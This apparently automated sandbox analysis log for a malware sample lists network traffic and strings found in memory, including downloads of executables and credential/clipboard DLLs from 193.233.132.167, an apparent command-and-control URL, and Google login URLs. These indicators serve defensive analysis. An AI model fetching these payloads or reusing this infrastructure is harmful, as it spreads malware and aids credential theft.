Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /cost/random.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /cost/sarra.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /enigma/Plugins/cred64.dll HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /lend/build12.exe HTTP/1.1Host: 193.233.132.167
Source: global traffic	HTTP traffic detected: GET /lend/build12.exe HTTP/1.1Host: 193.233.132.167If-Modified-Since: Fri, 19 Apr 2024 00:20:52 GMTIf-None-Match: "6621b8e4-17e00"
Source: global traffic	HTTP traffic detected: GET /enigma/Plugins/clip64.dll HTTP/1.1Host: 193.233.132.167

Source: 831840b410.exe, 0000001F.00000003.3234149280.0000000004060000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 0000001F.00000002.3243043765.0000000004062000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 0000001F.00000003.3237964866.0000000004062000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/accountfmF( equals www.youtube.com (Youtube)
Source: 831840b410.exe, 00000010.00000003.3105319797.0000000000FCA000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 00000010.00000003.3102067403.0000000000FC9000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 00000010.00000002.3115654406.0000000000FCA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/accountp equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001C.00000003.3043589855.0000000007CB2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3032607881.0000000007CC7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3047846067.0000000007DD1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Khttps://www.youtube.com/account equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001D.00000003.3039143770.00000000079EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&passive=true&service=youtube&uilel=3&ifkv=ARZ0qKJqaiC2kMEiuCgpI4CDA9zdQR9Ma_4VO4V4SsWE5FBoZnSBBlUHdjOISz2jXF92hxTK-U9yBg equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001D.00000003.3039143770.00000000079EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en equals www.youtube.com (Youtube)
Source: MPGPH131.exe, 0000001D.00000003.3039143770.00000000079EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%253A%252F%252Fwww.youtube.com%252Faccount%26feature%3Dredirect_login&hl=en&ifkv=ARZ0qKLYPILSqGGJxF99XUM7ry_ZpWfAteaIP49LuGs_pX6vyTY-I4NhOGVeIl3pV2a7zJNZmB6a&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-284379341%3A1713490158071679&theme=mn&ddm=0 equals www.youtube.com (Youtube)
Source: 831840b410.exe, 00000010.00000002.3120738750.0000000003858000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 0000001F.00000003.3237599781.0000000003FB4000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 0000001F.00000003.3207722657.0000000003FB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account equals www.youtube.com (Youtube)
Source: 831840b410.exe, 00000010.00000002.3120738750.0000000003858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account7 equals www.youtube.com (Youtube)
Source: 831840b410.exe, 00000010.00000002.3120738750.0000000003858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountA equals www.youtube.com (Youtube)
Source: 831840b410.exe, 00000010.00000002.3120738750.0000000003858000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountJ equals www.youtube.com (Youtube)
Source: 831840b410.exe, 00000010.00000003.3086222866.0000000003789000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 00000010.00000003.3110190311.00000000037C9000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 00000010.00000003.3087346454.00000000037C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountL equals www.youtube.com (Youtube)
Source: 831840b410.exe, 0000001F.00000002.3242965392.0000000004034000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 0000001F.00000003.3235541239.0000000004034000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountM) equals www.youtube.com (Youtube)
Source: 831840b410.exe, 0000001F.00000002.3242965392.0000000004034000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 0000001F.00000003.3235541239.0000000004034000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountT) equals www.youtube.com (Youtube)
Source: 831840b410.exe, 0000002F.00000003.3477995978.00000000040EE000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 0000002F.00000003.3475843478.00000000040CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account[C equals www.youtube.com (Youtube)
Source: 831840b410.exe, 0000001F.00000002.3242965392.0000000004034000.00000004.00000020.00020000.00000000.sdmp, 831840b410.exe, 0000001F.00000003.3235541239.0000000004034000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountd* equals www.youtube.com (Youtube)

Source: unknown

DNS traffic detected: queries for: www.youtube.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true&authuser=0 HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 927sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"Content-Type: text/plain;charset=UTF-8sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"X-Goog-AuthUser: 0sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: */*Origin: https://accounts.google.comX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: NID=513=DL6Us8jAPrwCCKarlTw2RsBHsg-PZZE0_IVMLOmld8Vg4EMZhTyE_65f9B0OK-p44_4Uk-puC2a1J_sCfoJnyAtSeJNyRbiKB8AiKkQJAbADm2J1hujbY6LjrFBfHJLMH2_5Lm7sfqr7tbq8PbRvtYkxosEGP0PKBUVLfjHGngA

Source: c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://147.45.47.102:57893/hera/amadka.exe
Source: c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/go.exe
Source: MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/go.exe0.1
Source: c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/go.exeero
Source: MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/go.exerisepro
Source: c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/lenin.exe
Source: c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/lenin.exe.eR
Source: MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.167/cost/lenin.exe/
Source: rundll32.exe, 00000008.00000002.2871819933.000001E17AF1D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php
Source: rundll32.exe, 00000008.00000002.2874206472.000001E17CD57000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.2871819933.000001E17AE8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php?wal=1
Source: rundll32.exe, 00000008.00000002.2874206472.000001E17CD57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php?wal=1E
Source: rundll32.exe, 00000008.00000002.2874206472.000001E17CD57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/Pneh2sXQk0/index.php?wal=1ame=
Source: rundll32.exe, 00000008.00000002.2874206472.000001E17CD57000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.233.132.56/esI
Source: powershell.exe, 0000000B.00000002.2810399931.0000029EFCB80000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: svchost.exe, 00000012.00000003.7080004981.0000014EABA8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000012.00000003.7080004981.0000014EABA63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.3611100512.0000014EAB782000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dvwmczhfksazn5mwlykzsdqv6u_2024.3.27.0/go
Source: svchost.exe, 00000012.00000003.7080004981.0000014EABA63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80/edgedl/release2/chrome_component/dvwmczhfksazn5mwlykzsdqv6u_2024.3.27.0
Source: svchost.exe, 00000012.00000003.2839947296.0000014EAB780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 0000000B.00000002.2803800897.0000029E9006D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.2784637428.0000029E819C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 0000000B.00000002.2784637428.0000029E80228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 0000000B.00000002.2784637428.0000029E80228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 0000000B.00000002.2784637428.0000029E80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000000B.00000002.2784637428.0000029E80228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 0000000B.00000002.2784637428.0000029E80228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: c884f8452a.exe, 00000014.00000003.2883884113.0000000005380000.00000004.00001000.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000002.3269708121.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, MPGPH131.exe, 0000001C.00000003.2928548272.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3244160511.0000000000891000.00000040.00000001.01000000.00000015.sdmp, MPGPH131.exe, 0000001D.00000002.3252023529.0000000000891000.00000040.00000001.01000000.00000015.sdmp, MPGPH131.exe, 0000001D.00000003.2928357410.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000003.3049065543.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000002.3145142996.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, RageMP131.exe, 0000002D.00000003.3127053365.0000000005330000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000002.3204405230.0000000000371000.00000040.00000001.01000000.00000017.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: c884f8452a.exe, 00000014.00000002.3269708121.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp, MPGPH131.exe, 0000001C.00000002.3244160511.0000000000891000.00000040.00000001.01000000.00000015.sdmp, MPGPH131.exe, 0000001D.00000002.3252023529.0000000000891000.00000040.00000001.01000000.00000015.sdmp, c884f8452a.exe, 00000024.00000002.3145142996.0000000000AA1000.00000040.00000001.01000000.00000014.sdmp	String found in binary or memory: http://www.winimage.com/zLibDllDp
Source: RageMP131.exe, 0000002D.00000002.3204405230.0000000000371000.00000040.00000001.01000000.00000017.sdmp	String found in binary or memory: http://www.winimage.com/zLibDllDpITpI
Source: c884f8452a.exe, 00000014.00000003.2883884113.0000000005380000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.2928548272.0000000004FB0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.2928357410.0000000004E00000.00000004.00001000.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000003.3049065543.00000000048F0000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000003.3127053365.0000000005330000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.winimage.com/zLibDllDpRTpR
Source: c884f8452a.exe, 00000014.00000003.2968476956.0000000008136000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2963987119.0000000008128000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2975509031.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3029768103.0000000007CC3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3036519526.0000000007D01000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3046918349.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3052160473.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3038281915.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3042483731.000000000797B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MPGPH131.exe, 0000001C.00000003.3043589855.0000000007CB2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3032607881.0000000007CC7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3047846067.0000000007DD1000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3039143770.00000000079EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/InteractiveLogin?continue=https://www.youtube.com/signin?action_handle_s
Source: MPGPH131.exe, 0000001C.00000003.3043589855.0000000007CB2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3032607881.0000000007CC7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3047846067.0000000007DD1000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3039143770.00000000079EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ServiceLogin?service=youtube&uilel=3&passive=true&continue=https%3A%2F%2
Source: MPGPH131.exe, 0000001C.00000003.3043589855.0000000007CB2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3032607881.0000000007CC7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3047846067.0000000007DD1000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3039143770.00000000079EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Fa
Source: powershell.exe, 0000000B.00000002.2784637428.0000029E80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 0000000B.00000002.2784637428.0000029E80228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 0000000B.00000002.2784637428.0000029E81633000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelpX
Source: c884f8452a.exe, 00000014.00000003.2968476956.0000000008136000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2963987119.0000000008128000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2975509031.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3029768103.0000000007CC3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3036519526.0000000007D01000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3046918349.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3052160473.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3038281915.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3042483731.000000000797B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: c884f8452a.exe, 00000014.00000003.2968476956.0000000008136000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2963987119.0000000008128000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2975509031.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3029768103.0000000007CC3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3036519526.0000000007D01000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3046918349.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3052160473.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3038281915.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3042483731.000000000797B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: c884f8452a.exe, 00000014.00000003.2968476956.0000000008136000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2963987119.0000000008128000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2975509031.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3029768103.0000000007CC3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3036519526.0000000007D01000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3046918349.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3052160473.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3038281915.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3042483731.000000000797B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 0000000B.00000002.2784637428.0000029E819C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000B.00000002.2784637428.0000029E819C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000B.00000002.2784637428.0000029E819C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/
Source: RageMP131.exe, 0000002D.00000002.3206727588.000000000181D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/J
Source: c884f8452a.exe, 00000024.00000002.3143187486.000000000060A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/K
Source: c884f8452a.exe, 00000024.00000002.3143187486.000000000060A000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000002.3206727588.000000000181D000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000002.3215370916.0000000007EA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.57.52
Source: RageMP131.exe, 0000002D.00000002.3206727588.000000000181D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.57.52-
Source: c884f8452a.exe, 00000014.00000002.3279923051.0000000007ED6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.57.52?q
Source: MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.57.52r
Source: RageMP131.exe, 0000002D.00000002.3206727588.000000000181D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/r
Source: c884f8452a.exe, 00000014.00000002.3272062949.00000000016CC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3253650821.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000002.3143187486.000000000058D000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000002.3206727588.000000000181D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=81.181.57.52
Source: c884f8452a.exe, 00000014.00000003.2968476956.0000000008136000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2963987119.0000000008128000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2975509031.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3029768103.0000000007CC3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3036519526.0000000007D01000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3046918349.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3052160473.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3038281915.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3042483731.000000000797B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: c884f8452a.exe, 00000014.00000003.2968476956.0000000008136000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2963987119.0000000008128000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2975509031.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3029768103.0000000007CC3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3036519526.0000000007D01000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3046918349.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3052160473.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3038281915.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3042483731.000000000797B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: c884f8452a.exe, 00000014.00000003.2968476956.0000000008136000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2963987119.0000000008128000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000014.00000003.2975509031.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3029768103.0000000007CC3000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3036519526.0000000007D01000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000003.3046918349.0000000007CFD000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3052160473.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3038281915.0000000007DE2000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000003.3042483731.000000000797B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: svchost.exe, 00000012.00000003.2839947296.0000014EAB7F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000012.00000003.2839947296.0000014EAB780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: powershell.exe, 0000000B.00000002.2784637428.0000029E80228000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: RageMP131.exe, 0000002D.00000002.3206727588.00000000017AE000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000002.3206727588.000000000181D000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000002.3206727588.000000000179F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/
Source: c884f8452a.exe, 00000014.00000002.3272062949.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001C.00000002.3245487291.00000000013F7000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001D.00000002.3253650821.00000000012A1000.00000004.00000020.00020000.00000000.sdmp, c884f8452a.exe, 00000024.00000002.3143187486.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, RageMP131.exe, 0000002D.00000002.3206727588.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ipinfo.io/Mozilla/5.0
